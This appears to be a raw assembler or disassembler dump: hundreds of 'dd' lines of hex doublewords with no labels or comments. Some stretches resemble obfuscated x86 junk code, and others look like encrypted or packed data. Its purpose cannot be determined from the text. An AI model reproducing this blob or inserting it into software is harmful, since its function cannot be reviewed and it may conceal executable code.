		dd 0F8C01B29h, 0E9B4A371h, 0FDE3FB1Ch, 56AB51C9h, 5970DA10h
		dd 0C1D9E0D3h, 0C7A93BA6h, 83300413h, 2089AB97h, 90CBE8B7h
		dd 6531142Ch, 72AB9E72h, 0BE9BB3A4h, 0E516BA3Eh, 0C9F61BDDh
		dd 79248F51h, 2C2BEB24h, 5970184Eh, 0FF171ED3h,	413C719h
		dd 0ADAFF517h, 3CC8FE44h, 0C7CED359h, 1CDDBB0Dh, 97831E04h
		dd 875215C7h, 0D7F8C590h, 457E8303h, 0E6B58691h, 415926F1h
		dd 413C75Bh, 0AB4DCD30h, 70DA1056h, 0D9E0D359h,	709BD1C1h
		dd 0C97BD359h, 79248F51h, 353A6D57h, 3EDDEE2Ch,	0FAE0F819h
		dd 0B1A672ABh, 47E0B699h, 8D618295h, 91457E83h,	34EEBB86h
		dd 66932FCBh, 0C9AFC7C6h, 4DCD4AD0h, 300413C7h,	4AD04DCDh
		dd 703365ABh, 9939D359h, 3DA1B7D9h, 0A97D9E76h,	0B3A472ABh
		dd 0DC031BE8h, 0A272ABF0h
		dd 51DEAB5h, 8F637422h,	7297E83h, 83712AA9h, 0D006E4AAh
		dd 0D6D35939h, 3B5C7B1Fh, 39D2084Eh, 0D1D8D359h, 8298D3B9h
		dd 0CAA089ABh, 433B7B68h, 0E59F883Eh, 0E26F4C5h, 13C77C66h
		dd 66853904h, 0AED8FD44h, 932FE9EEh, 0ACE22827h, 0B2D358B6h
		dd 8F728AABh, 0A6DFCCCBh, 736434F3h, 1D133A52h,	0D358B6E2h
		dd 9CA856B8h, 27002CD3h, 0A5C7D3E0h, 4B88C5C0h,	0A494AC9Eh
		dd 0D3E02D6Ah, 0A1F6D5FDh, 0E02D255Bh, 0C242BD3h, 596E6929h
		dd 0DEA9AE70h, 2DE01A2Ah, 9173D3E0h, 292EED26h,	15E7F711h
		dd 0DED3E02Eh, 1A53FE69h, 288E597Eh, 0D4E0886h,	354D6ED8h
		dd 4A4D1023h, 8CC2085Dh, 92D3E066h, 1996738Bh, 108D587Fh
		dd 0CC804B4Ch, 45170F08h, 99BA8752h, 661466ACh,	131AD3E0h
		dd 514615FEh, 4D4A0986h, 164F2E82h, 0BC895443h,	8F1E89A4h
		dd 0C0B6CBCCh, 0D423E40Ch, 394h, 3EDCD600h, 360116C7h
		dd 33FE19B9h, 2BF6E1B6h, 21ECEBAEh, 1BE6F1A4h, 0DD8FF9Eh
		dd 2CDCA90h, 0F9C4D385h, 0F4BFD87Ch, 7BEB683Ch,	0A8E907AFh
		dd 0B5FFF8BAh, 0EB7BCE50h, 16h,	4 dup(0)
		dd 0B4010100h, 0AF000003h, 919D8907h, 5007A826h, 11BA5250h
		dd 0F3CAF51h, 61605031h, 89585A5Fh, 8E92404h, 0A000000h
		dd 6B2CAE4Fh, 6AC9A2AFh, 5BB96600h, 6A006AB8h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 409EC351h, 0F3D9D7D8h, 99BF968Fh, 8D7D6083h,	0AFC63385h
		dd 68B0F07h, 9000000h, 0A80D1D95h, 4895007h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0AC3A10F2h, 0CEBF0F57h, 6A006A5Bh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 647DC355h
		dd 0BEB596CFh, 6A006A9Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 81B3C351h, 775B12E3h
		dd 3995FF4Ch, 0B707A81Bh, 508E9ADh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8D013DC3h
		dd 7A81B3Dh, 0E8h, 0ED815D00h, 7AFC638h, 57006AF5h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 0BF0FD2ECh, 0D19589FBh, 6607A808h, 0C57AF781h, 0F545D268h
		dd 81DF8B63h, 4A722434h, 0BD8B63F5h, 7A80EADh, 0D2195FFh
		dd 958B07A8h, 7A804A1h,	0C510B58Dh, 0D88B07AFh,	655206C7h
		dd 6A6D67h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 767FDDC3h, 6F0446C7h, 896C636Eh, 0A80A499Dh
		dd 846C707h, 737361h, 0E850006Ah, 3, 58C35820h,	4244489h
		dd 4244481h, 1Ah, 3FC35040h, 300156C8h,	6AD1AFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 8FC35040h, 0BA27B966h
		dd 0C510858Dh, 6A07AFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0FB8351C3h, 509016FCh, 90DF8B66h
		dd 0FFD38B66h, 0A8326D95h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0C00B1CFCh
		dd 31840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 44C586C3h, 956F7C83h, 8B6951D0h
		dd 0A81921BDh, 336E907h, 0E8F80000h, 4,	12Ch, 0D3DBA66h
		dd 30BB6650h, 24448BFAh, 50008B04h, 5FD18B66h, 4244489h
		dd 9995BA66h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 9E2399BEh, 9E876h, 0BDE10000h, 53DABFA2h
		dd 0BF5D33C4h, 4DC6488Ah, 0EE959h, 88E10000h, 0E6B1B0A1h
		dd 25238E10h, 0D0636451h, 0D2195FFh, 0BE907A8h,	70000000h
		dd 3C58E8B5h, 0A5A04B8Bh, 0C7BF2F62h, 8D648927h, 0AFC510B5h
		dd 0F8B96607h, 0C98D09C5h, 0C707A80Ch, 34383106h, 6840F36h
		dd 89000000h, 0A8222D95h, 446C707h, 31342D37h, 846C7h
		dd 66000000h, 6AFB8Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0D0C35242h, 0AAB3AD0Eh, 19BD2360h, 0B707A80Fh
		dd 858D612Dh, 7AFC510h,	0C880Fh, 840F0000h, 6, 880Fh, 8A900000h
		dd 800F50F5h, 0Ch, 7E9h, 0DDCB4700h, 0C1F97900h, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 6C68720Ah, 6D95FF85h, 6A07A832h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 9E39C350h
		dd 0C00BFC8Ch, 1C840Fh,	0E9F50000h, 1CCh, 0BE9h, 81103F00h
		dd 0B9E6F874h, 87FB7C8Fh, 0B8D8D33h, 396807A8h,	0E91D65ACh
		dd 6, 716B6E0Dh, 34811646h, 65AD1524h, 50006A1Dh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 95FFA5A7h, 7A80D21h,	15859589h, 0B58D07A8h, 7AFC510h
		dd 17D1B589h, 0BD2307A8h, 7A829D9h, 694606C7h, 6A656Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 9A7E3C3h, 0A81CE1B5h, 0D3816607h, 46C74976h,	6E6F6D04h
		dd 53006A63h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0F239826Bh, 3F2450BBh, 846C736h,	7373616Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 33C35545h
		dd 0C71EFD62h, 0C46h, 9D890000h, 7A8182Dh, 0C3BA006Ah
		dd 8D39E0BDh, 0AFC51085h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B5891094h
		dd 7A833F1h, 5DF5BF90h,	60502EB2h, 50565A57h, 5A310F52h
		dd 90615858h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 16h,	0E5C35242h, 9D099E8Eh, 7A82509h, 326D95FFh, 6A07A8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0C00BD7C3h, 1F840Fh,	958B0000h, 7A8249Dh, 3BE9h, 8E800h
		dd 41440000h, 6A3D63BFh, 9589E5A4h, 7A82F85h, 0FB86E95Bh
		dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0AEC941C3h, 0BCBFB4C6h, 71FBB58Dh, 0EE907A8h
		dd 78000000h, 0D32B87B3h, 7C5DE694h, 0BA20DCA1h, 0B88Ah
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 8FA444C3h, 0BB660BB1h, 0E6FFAA90h, 236D9589h
		dd 0C18B07A8h, 14E8h, 0BD7A2200h, 5B47620Dh, 2E683A6h
		dd 4B13F658h, 931CD428h, 13E95Fh, 0FC0A0000h, 0C0D54497h
		dd 0CBAC557Bh, 721D8F40h, 0E1B23C91h, 0BD895B23h, 7A826A9h
		dd 0DD4CC381h, 0BAF50000h, 0
		dd 6810Fh, 0C6810000h, 786DF7DFh, 581A34FFh, 5C19D29h
		dd 0E88107A8h, 4B837571h, 8E4C081h, 8B664805h, 7DC081CAh
		dd 23270018h, 0A824FDBDh, 13048907h, 313D9589h,	0EA8307A8h
		dd 0D98D0103h, 4A07A805h, 58D0Fh, 81660000h, 81C586D6h
		dd 0FF2350FAh, 0B1850FFFh, 8BFFFFFFh, 0A8251DB5h, 26E907h
		dd 60690000h, 66Ah, 8 dup(0)
		dd 0DC2E9h, 0CE486800h,	0B8E907AFh, 68FFF8B3h, 7AFCF4Bh
		dd 0F8B3AEE9h, 0D03C68FFh, 0A4E907AFh, 68FFF8B3h, 7AFD0F3h
		dd 0F8B39AE9h, 0D42068FFh, 90E907AFh, 68FFF8B3h, 7AFD72Ch
		dd 0F8B386E9h, 0D83E68FFh, 7CE907AFh, 91FFF8B3h, 0D9C2D7C0h
		dd 1E071C3Bh, 5F485D7Ah, 9E879CBBh, 0B5C3D8FFh,	0D5C29114h
		dd 1700D7C0h, 5B7C1902h, 9ABD5D46h, 0C006A585h,	0CBA9A48Ah
		dd 0C748F690h, 0C1160314h, 5970457Bh, 2C444BD3h, 2894B64Fh
		dd 0AE85F0ACh, 2EEBCEE6h, 0D60F1429h, 0E2281502h, 0D3593DACh
		dd 0EF93ABB2h, 88C1AE66h, 2BF8C3D4h, 8199BE5Ah,	728F3C82h
		dd 0F595DB01h, 0EFFB3433h, 0DC7F50B9h, 45CF9ABBh, 0DB02480Bh
		dd 2AF02926h, 37E5622Dh, 67885520h, 1EC9344Fh, 484D83C9h
		dd 4C53DB02h, 0D57E3434h, 38C3E3F0h, 0A8000000h, 0C495FC86h
		dd 0B76249B1h, 81677FA0h, 0B5A272ABh, 0B81CF99Dh, 781885CBh
		dd 171EDB01h, 7888C24Ch, 8AA3DB01h, 0F93F731Fh,	0E02E3FFh
		dd 0E7000000h, 1EE9EEAEh, 6C533951h, 952h, 1056ABAEh, 0D35970DAh
		dd 0A6ECD9E0h, 0D3597070h, 74576F76h, 6DA3E9A2h, 73D35970h
		dd 0E7804B6Ch, 70164C92h, 151CD359h, 0AF781AFDh, 0B5CAEBECh
		dd 0DDCA0A0Bh, 1985697h, 68555CDBh, 5DA3682Fh, 0DB019827h
		dd 1805262Dh, 1989CD2h,	839BA2DBh, 98E21CA6h, 0E4FDDB01h
		dd 2585CD79h, 4079E3F0h, 0E1AE799Eh, 4DADC9h, 6AB0000h
		dd 0B6D8C511h, 0D342BF7Ah, 1D1C3457h, 0ECA2D7h,	0D6A1A8DBh
		dd 4255043Dh, 0A292AA77h, 0DB00EC68h, 79BF8C4Bh, 0DB00EC43h
		dd 56214249h, 4F1A3DD9h, 0F9D843B8h, 30DC4760h,	0E3F0857Ah
		dd 0CBBFh, 1B82A400h, 15E8E3BDh, 0C74B3149h, 0B8350017h
		dd 0E305F2E5h, 0B134E56Ch, 1DFA120Ah, 0ECD9FEA0h, 491781CAh
		dd 0B4CCFE6Bh, 53053ED7h, 89492C44h, 457FA18Eh,	0C65B0DC6h
		dd 877DA4BCh, 0D3595A2Dh, 9DB04E10h, 521565D6h,	0E50611C6h
		dd 14C6AFC4h, 1DFA3803h, 0D186CCB9h, 0D7DB0105h, 411BBD0h
		dd 38597E20h, 0B5EE054Bh, 0EDF4E2ABh, 0C289AB00h, 3B5F8A9Eh
		dd 16C5A8C0h, 5003EC01h, 6D784F47h, 0DC71FC65h,	0AC204h
		dd 0B9DE7F00h, 0FE19BBA4h, 3F5800E9h, 8295412Ah, 0C6D1846Dh
		dd 7F26A3B1h, 0BDA6BBDCh, 0FFE8FD1Ah, 3F283D5Ah, 8363789Fh
		dd 0A2689EE4h, 0D46ECBA9h, 1056AB26h, 0D35970DAh, 0DEC1D9E0h
		dd 1A03183Fh, 5E4A5F78h, 0A22B89ABh, 521D3ADCh,	0F034CB85h
		dd 7CD97D95h, 3065AB98h, 36DB0085h, 0A0DA642Fh,	0BBDB0085h
		dd 0ED2369BEh, 0F3DB0084h, 4EB9D4ECh, 0F0EAE8A2h, 392C4EE3h
		dd 5288CE7Eh, 58DB010Dh, 7B119751h, 0CF3E5A72h,	23000000h
		dd 642F28EAh, 0C7997F97h, 0B8350017h, 0CC05F2E5h, 723F0A0Dh
		dd 99F37D5Ah, 7CD35975h, 0BFA8BDDAh, 4325F1Fh, 9EFE3DFAh
		dd 0E374B27Dh, 4B004633h, 12DB01B3h, 0B34177BDh, 4047DB01h
		dd 73C86828h, 80433BEAh, 0F5C92D8h, 5B62DB02h, 5A04193Ah
		dd 0E62C19FDh, 0E2ACBCBEh, 97D0BDC4h, 0ADE6D3C4h, 0A9D0E8EFh
		dd 884A1DC0h, 0D6F7C48Fh, 647FD9DEh, 7951E6FCh,	9BFh, 0A7BCDB7Ch
		dd 0E4F91EBEh, 253A5DFBh, 64799E3Ch, 0AABFD87Bh, 0A5782D9Ch
		dd 0E5B49DB2h, 27F4DDF2h, 60321B30h, 0E3826277h, 0A9A1679Dh
		dd 25D36DCBh, 0EE0314C7h, 184E94E9h, 1ED35970h,	7A1CFF17h
		dd 0CCEDEAADh, 2690B2B7h, 12BCEE32h, 3D1D7584h,	2F5011EFh
		dd 17C73117h, 3BDA1300h, 8E27041Ch, 0D1F9096Ch,	0B065639Dh
		dd 0E00978A5h, 958F496Ah, 0D505D2Bh, 0E4B699B1h, 30E406F3h
		dd 5CE2F8E8h, 0FF042B43h, 0EB2E64AAh, 7D34D358h, 8199BADDh
		dd 51C6999Ah, 31529885h, 37DB00F1h, 0F12A0730h,	2B1B3324h
		dd 84C621D0h, 9EB95E97h, 0A175E286h, 2E156EB4h,	141B8C6Eh
		dd 2E29EE27h, 0A17E9663h, 3522F263h, 0F458BE0h,	158C6E2Eh
		dd 0A5DB210Eh, 0AB8C6E2Eh, 7C9C8CA4h, 829419A6h, 85558E7Bh
		dd 0C2947D92h, 1D2DDD5h, 3ED333F7h, 8CE66h, 0CDCA8B00h
		dd 0A0DCFB8h, 4B4C0CF5h, 8E894D36h, 0CACD9079h,	8322A7B5h
		dd 0C9B2C7D0h, 0BF4090Eh, 4B34494Eh, 97778C8Bh,	0A07CB2F8h
		dd 0E882CBA9h, 0E89AB3Ah, 0FC1BBF1Dh, 1FAA6431h, 0C0BD0FCh
		dd 3B537441h, 32E18658h, 0FB390425h, 87CDBA1Ah,	0DB00B77Eh
		dd 356BB184h, 3BDB00B7h, 0D1261334h, 4D5C298h, 472A4255h
		dd 0F54AEC92h, 29CBC812h, 4D0AF308h, 0BFF57F4Ah, 95DB015Ah
		dd 0DB016A5Bh, 4F3C987Dh, 0A9915009h, 624F56E2h, 0AE686F29h
		dd 5EF99031h, 0CAA7BFE0h, 6096DC31h, 5AE2AA6Fh,	2E42977Ah
		dd 0DAE18FE1h, 183FDFC2h, 67CB0B20h, 0AB8318FCh, 817h
		dd 0FF1403D4h, 3C514616h, 7D928553h, 0BCD1C694h, 21700D3h
		dd 0DD0D5F4h, 4D0CF50Ah, 8F4C354Ah, 0C88A7388h,	3BDABACFh
		dd 0A9A0BFF5h, 7D2BC5CBh, 0D8C51106h, 196D992h,	0DD8DFDBh
		dd 0B6CBCC90h, 1B080FCDh, 562136E2h, 0FB947189h, 7FAEEAD9h
		dd 23D0339h, 480209DBh,	385044EFh, 64518194h, 1D4201Eh
		dd 541F26DBh, 4A0F48D9h, 0BA1DF2B4h, 0AECF516Eh, 81107B96h
		dd 0B9AFC4D3h, 0DB01E07Fh, 0E9AEB6A1h, 355623EEh, 77ADF348h
		dd 5ADB01E0h, 0E7EE9CBBh, 788AD0CFh, 7EDB01E0h,	0DB796277h
		dd 2567F1BCh, 0ADB01E1h, 799E4079h, 4CDB4661h, 917A8F88h
		dd 7F09D4C3h, 0DB01E195h, 0D362CD7Ah, 0FC011601h, 4C0611C3h
		dd 0BE4CE984h, 63071F3Fh, 0AEA970F0h, 8F516E3h,	1CE89C2h
		dd 5D88FDBh, 9C26F112h,	4F6332CBh, 0B662CDE6h, 9851C3FCh
		dd 91C70D62h, 974F632Ah, 0CC5C7890h, 41000001h,	2D455208h
		dd 2C110647h, 2E34146Ch, 1D3ADFCCh, 43648552h, 597E1D56h
		dd 67FC4241h, 6DDB0189h, 0DE247966h, 0DB0189A8h, 908FA7AEh
		dd 7B908757h, 0CD7C092h, 4834AA82h, 50BBB662h, 0F9AE6CA5h
		dd 5E18395Eh, 508913C1h, 0B699B119h, 0CD06F3E4h, 0CEF50D0Ah
		dd 0DF8935E5h, 5F5CA735h, 93D19CBDh, 8496B780h,	0B8839447h
		dd 83231EBh, 745D7293h,	69E6B1A6h, 88C1AEA9h, 87AEC6D1h
		dd 8A8D4982h, 1A38F2BFh, 4E7EE269h, 32E4C7DFh, 68D05A25h
		dd 74D4D293h, 0DF7F0E79h, 0C092CBB8h, 273F0CD7h, 50471700h
		dd 6D6A2A63h, 0DF3A7855h, 93AFE52Bh, 0AEB5D4D2h, 245AA08Dh
		dd 2AD4D293h, 76250E23h, 93194F95h, 6113D4D2h, 0D67A29EDh
		dd 145A2DDBh, 0D4D365DEh, 9BBCDDE4h, 0B31537D0h, 0A5B26473h
		dd 0EF530DDAh, 94385068h, 2B645181h, 5150686Fh,	0D2F7D90Bh
		dd 0C3D8DFD4h, 0ED2369BEh, 0D0D4D2F6h, 77440F08h, 27F1C2C9h
		dd 80986530h, 0FDAFD9Dh, 0E7D4C392h, 24EFE8AEh,	0E7623F57h
		dd 85BB0156h, 8BD4D2F7h, 0E6516C84h, 7B908757h,	0EAD7C092h
		dd 0DDF5E2B1h, 7F57C200h, 0F71E4C92h, 1D24D4D2h, 8C7F1F08h
		dd 0D2F71046h, 0EE0F16D4h, 0B864DF01h, 477DB3F9h, 7C83D4D3h
		dd 6DB70CC2h, 5EFB7855h, 7ED76E39h, 45ADE329h, 0ACB3D4D3h
		dd 7F0E7994h, 0BAA3B8DFh, 9B34FF18h, 0D8A3B462h, 7D9EB95Bh
		dd 22EDEAACh, 0BE993D55h, 0F9236956h, 0FFD4D344h, 5DFAE3F8h
		dd 0B2F84D3Ah, 0D4D3457Ch, 86637B82h, 0F1E6B4EDh, 422235D9h
		dd 79668790h, 2E29EB24h, 8E7E9663h, 0D4D34568h,	5E94DA2Fh
		dd 41D4D345h, 0EEBB8691h, 61213940h, 0C759455Ah, 41EB0017h
		dd 0F11300D4h, 411C0754h, 6D1A271h, 0B4FAF911h,	0DB01198Fh
		dd 68A18E95h, 0FDCA7B0h, 1ABFF8F7h, 5AFFE8FDh, 2334723Dh
		dd 19ABE127h, 0AAB1DB01h, 0F7183FD9h, 45BBC40Ah, 0BAC1E2A9h
		dd 552B65EFh, 0C84DE2A9h, 20D91F0Ch, 26EA517Ch,	7D7541Fh
		dd 3F191810h, 7D12E5CFh, 4EAA5h, 0E1F6A700h, 2631E3CCh
		dd 67702811h, 0AAAD6952h, 0EEE9AC95h, 0A7FECBD9h, 0E5CEE3F4h
		dd 27102532h, 67506572h, 0AB8BA0B7h, 9C90C60Ch,	0FC96CBA9h
		dd 1056AB4Eh, 0D35970DAh, 1DC1D9E0h, 0A9EFDC38h, 0DB017714h
		dd 0AF48131Ah, 0CBB1038Dh, 0E901B7A0h, 246C0F9h, 0E7F0A3DBh
		dd 0DAFD9F1Ch, 55C0BB0Fh, 59C4DD76h, 0B4A375AEh, 894B1CE9h
		dd 0DEF6C38Eh, 0F0D794DEh, 0E36DE3h, 0BA6B0000h, 0D35970B0h
		dd 443D7CAAh, 0C5B2D651h, 5965497Fh, 27484FD3h,	7D9A3CFFh
		dd 795DBE68h, 6518468Ch, 171ED359h, 80FCF4Ch, 4A80C61Bh
		dd 50D35965h, 600A3149h, 0D92E1BF3h, 59655D93h,	0A8DE24D3h
		dd 0AED35965h, 0DAF2F9A7h, 0EB3186DBh, 0D35965B5h, 0FBD61BBBh
		dd 2C1DCB9Eh, 0D503F30Bh, 0DBD358ACh, 1B84533Bh, 82909C8h
		dd 491EC03Dh, 1403D88Fh, 905B7C49h, 3324F2C3h, 657A9B68h
		dd 10C65EBBh, 9ED41A07h, 0A4D35898h, 498F7C9Dh,	0D358982Fh
		dd 0C70D6235h, 0D3589891h, 7CB29097h, 82D35898h, 58F5A7Bh
		dd 0D358D8CBh, 22EDEAAEh, 16E1F6A5h, 0A483EE9Bh, 4C0B44D5h
		dd 0AD18334Bh, 2B18FC5Dh, 58D8CBE5h, 6D7092D3h,	1C873570h
		dd 910D0E8h, 549AEFF4h,	0D358AB1Eh, 0C7051D24h,	0EAh, 0C5110609h
		dd 0D8FF9FD8h, 2928400Dh, 0C792B2D4h, 67F1065Ah, 0A5A65F4Fh
		dd 0F5ACDB00h, 99663126h, 0DB14AD78h, 84511C3Bh, 0C9CE896Ch
		dd 0CA0C0AB4h, 0C4288DDh, 12DB00A5h, 9FF4F30Bh,	0A5CE044Ah
		dd 1DD4DB00h, 7D37587Fh, 8FADC0E5h, 0E8D8F0F9h,	0DB0088B6h
		dd 0ACE2287Dh, 8FDB0088h, 3603CEC9h, 0A9698188h, 133423F2h
		dd 8883BE48h, 859EDB00h, 15246E1Ah, 6FFDE3FFh, 0FB000000h
		dd 0D9C61006h, 0DCCA6284h, 739C1292h, 2A356B5Bh, 0DAFCD359h
		dd 0CDC679FEh, 56162EE8h, 5007844Fh, 0BD6C197h,	0AFA86D3Eh
		dd 3B74798Eh, 0E6B37E99h, 0EA2C2ACEh, 77CDB7FDh, 0CCD3D358h
		dd 19F2A6DFh, 58779DD3h, 7B9CA3D3h, 0C2FC8663h,	0A7D358B7h
		dd 6C3BDD16h, 0BE89AAADh, 53BED9F1h, 0D6C31303h, 0C0D8FF9Dh
		dd 0B7917BC1h, 9097D358h, 17C78F7Bh, 0E6B83500h, 2532DCF1h
		dd 7DBE04F1h, 83DB0198h, 0ED27B17Ch, 0D0DB0197h, 0BB50740Ah
		dd 99BA3818h, 6B30AD78h, 3D4A16Ch, 22764156h, 44DDBC27h
		dd 5E14C02Bh, 0A3E3F0DAh, 30h, 0C51106A1h, 4B6183D8h, 0B0B8134Eh
		dd 0DC110119h, 0A3DB0145h, 0E4AFA86Ah, 383FFF17h, 45A9E36Dh
		dd 0ABC4DB01h, 2ADE9440h, 0A123E3F0h, 21000000h, 8C5017C7h
		dd 229F6A8Bh, 1C996473h, 15925D7Ah, 473D5245h, 0D35974EDh
		dd 0C3700ED0h, 32B88BAFh, 0C3B26280h, 2FBACE09h, 4E10F90Eh
		dd 0D7407E49h, 5FCC12FFh, 65DB0258h, 0B69F495Eh, 7B2B715Eh
		dd 81E2AD08h, 81548D7Ah, 0C5988196h, 0A02DDAD2h, 15AAFC64h
		dd 1DE3Dh, 0DDFA9B00h, 1A3DDFC8h, 5B7C1C05h, 9EB95D46h
		dd 0DAFDA089h, 9312B7C5h, 0D9C2D7C0h, 1B04193Eh, 5B44597Eh
		dd 0A7879CBBh, 998CC208h, 0F892CBA9h, 314C74Ah,	0EBB0E9EEh
		dd 989DD053h, 0BADBB27Ah, 270A22EFh, 5F4B6077h,	0D8C51106h
		dd 888F4A83h, 0A8DE24BDh, 0AED35970h, 7E6E86A7h, 0DB017649h
		dd 395B484Fh, 0EAD2FF0Ah, 56334B23h, 1B292CCh, 2994ADDBh
		dd 0FFBF357Dh, 2EF029E3h, 0EFF51129h, 0F3000000h, 0A772ABh
		dd 0A16E395Eh, 6338B580h, 0BBDCA974h, 0F91EC0A3h, 0F5E2B12Eh
		dd 0A0DCF08h, 17C23Fh, 8D476835h, 7FAB69E3h, 0EBC8E060h
		dd 58F40761h, 2F28EAD3h, 9B4C0942h, 0ECB7D8FFh,	0F7E0071Fh
		dd 27653027h, 0B3F9E62Eh, 0DB010346h, 0D1C6954Ch, 64F19BB0h
		dd 196EC3B0h, 1039DD3h,	849CA3DBh, 0ABB08594h, 74EB8BE2h
		dd 8F3E3CC9h, 58917E9Fh, 5833E285h, 0AC1EDC12h,	0BADBE2E2h
		dd 0EC0122EFh, 4F475003h, 0FC659ABCh, 0CCB89025h, 89000000h
		dd 0D1BACFC8h, 16FF1403h, 57405542h, 967F9483h,	0ADBBD0C7h
		dd 0CDCA891Ch, 0F08CFB8h, 534411FAh, 9285553Eh,	0B8FE9D7Dh
		dd 0CBA99882h, 0AB40EE88h, 70DA1056h, 0A2D4D359h, 9B566AA1h
		dd 150209B7h, 592A99CFh, 80989FD3h, 0C70DFE9Dh,	0D3592A91h
		dd 5A6F9097h, 5406A171h, 8AAB7843h, 17C78975h, 0C18C8B50h
		dd 8B08D3F4h, 0DB7CCCBh, 99DFCC08h, 0DB093C24h,	0DB58232Ah
		dd 0D40A503Bh, 0DADB093Ch, 415602D3h, 7388A976h, 7661356Eh
		dd 0E3C6DEABh, 0CF592433h, 0DCCEF63Bh, 52E14C47h, 99829780h
		dd 9613DEF9h, 607727C0h, 0BAA7C895h, 0ABC3D481h, 3BA653CEh
		dd 92855790h, 0FFE2FAC7h, 3A23385Fh, 0DCB47F98h, 3, 0C73EDC1Eh
		dd 0B9360116h, 0B633FE19h, 0AE2BF6E1h, 0A421ECEBh, 9E1BE6F1h
		dd 900DD8FFh, 8502CDCAh, 7CF9C4D3h, 3CF4BFD8h, 81E38953h
		dd 4C3h, 4EB8300h, 8B241C87h, 0F2682424h, 89000040h, 8956243Ch
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 241C895Ch, 20685550h
		dd 5D07FA7Ah, 5216C581h, 0E889FFB5h, 58C7895Dh,	4EC81h
		dd 24890000h, 24048124h, 4, 5E57565Bh, 5E087389h, 5B2434FFh
		dd 8B04C483h, 8950243Ch, 405E0h, 4050000h, 87000000h, 0E95C2404h
		dd 0FFF8A607h, 981B28B8h, 0B82CC010h, 7AFD92Fh,	0E0FFC503h
		dd 5177E31Ch, 4C378C81h, 5310D4C8h, 1B0769F8h, 23F7BB9Ah
		dd 0EE8h, 0DCA04C00h, 9130C3F1h, 73A4F8D2h, 60E1089Ah
		dd 0CFE8C4BFh, 5BF8576Bh, 0E9515861h, 13h, 0BBCF3F5Bh
		dd 582182C3h, 55413ACFh, 973CE4AAh, 5BB3EC84h, 6C16C081h
		dd 8B600000h, 6E8F7h, 4F580000h, 0A181270Ch, 615E5B50h
		dd 0BF0FF62Bh, 30148BDBh, 0A9EA81F9h, 81399F90h, 7E9F0BF2h
		dd 18A0F32h, 0FC000000h, 0B71EA81h, 0CE868EFh, 60000000h
		dd 0AA1ACAA6h, 3905BF13h, 0E81C1973h, 0Ch, 0ED369055h
		dd 0FF6F8603h, 0F8A91FF9h, 49D18166h, 89595991h, 5B573014h
		dd 8385E780h, 10E902EEh, 23000000h, 7FF60C50h, 0AD2C18A9h
		dd 0CEF6DDF9h, 4EBB7801h, 6652604Eh, 4447D781h,	39CA815Ah
		dd 6114EB17h, 9504FE81h, 850FFFFFh, 27h, 0A8F0Fh, 0F600000h
		dd 8Ch,	61D18B00h, 36E9h, 68713500h, 58CD9165h,	36B3F9EBh
		dd 359C9D1Eh, 0E882F52Ah, 7, 0C6CF94BAh, 0F52FBC9Bh, 0FF43E95Bh
		dd 1375FFFFh, 0DFF79AF0h, 0E270AD8Dh, 3898B35Bh, 0E80ACC81h
		dd 5, 0A8A84D18h, 5E73B2FDh, 5792F281h,	0C681647Ch, 5ABAh
		dd 0B10BFABFh, 75F78128h, 6628B11Dh, 8B744BB8h,	2800F1Eh
		dd 8B000000h, 0FCC381C6h, 806EE906h, 0F38179EAh, 4726AB06h
		dd 12E9h, 3B73F300h, 0EB71F636h, 772531C0h, 261FD003h
		dd 81171AE9h, 0B427ACEBh, 0C9BF0F18h, 66068F53h, 0C619CA81h
		dd 5201EE83h, 4E59A1B5h, 81664E4Eh, 810104F2h, 1EFh, 0A4850F00h
		dd 80FFFFFFh, 8D8D9FE1h, 7AFDC55h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0DFC35242h,	0F5BE6C8Bh, 5237DCBEh
		dd 659D89h, 895B07A8h, 0A817318Dh, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 6BFF516Eh
		dd 85C7CC90h, 7A80A59h,	64F8h, 6E956h, 365C0000h, 0A78241D1h
		dd 0D9858B5Fh
		dd 0C707A823h, 0A8093985h, 7, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 44AC80E1h
		dd 0BBDB5FFh, 9D8907A8h, 7A82AB9h, 1A9995FFh, 6A07A8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
